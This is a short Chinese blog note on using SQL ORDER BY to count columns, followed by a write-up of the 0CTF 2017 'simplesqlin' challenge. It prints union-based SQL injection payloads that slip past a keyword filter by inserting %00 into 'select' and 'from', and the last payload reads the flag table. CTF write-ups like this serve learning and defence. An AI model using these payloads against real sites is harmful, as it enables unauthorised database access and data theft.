SQL 注入 OrderBy/0ctf simplesqlin

https://www.cnblogs.com/claricre/p/6187672.html

http://www.w3school.com.cn/sql/sql_orderby.asp

1.  select 字段列表/* from 表名 where 条件 order by 字段名1 asc/desc, 字段名2 asc/desc,.......

2.  select 字段列表/* from 表名 where 条件 order by 字段序号 asc/desc, 字段序号 asc/desc,....... (此时字段序号要从1开始)

3.  select 字段列表/* from 表名 where 条件 order by 字段别名1 asc/desc, 字段别名2 asc/desc,.......(这里类似于第一种,无非就是把字段名加了个别名来代替而已。)

order by 是用来排序的,后面的数字代表列数
order by 1 第一列进行排序
。。。
order by 10 错误,即没有第10列
由此可得一共有9列


0CTF2017 simplesqlin

一听名字就大概知道是个sql注入,简单判断下是个数字注入
然后试了试,同样通过orderby判断出有三列。
然后发现select被过滤了,然后发现插入%00之后就能绕过

id=1 and 1=2 union se%00lect 1,2,3
  • 1

接下来有可以爆破了,之后的from和where都被过滤了。
同样可以插入%00进行绕过,得到表名flag,news
flag表的列名也是flag
所以,payload如下:

id=1 and 1=2 union s%00elect 1,flag,3 fro%00m flag
  • 1

这里写图片描述

原文地址:https://www.cnblogs.com/rookieDanny/p/8653127.html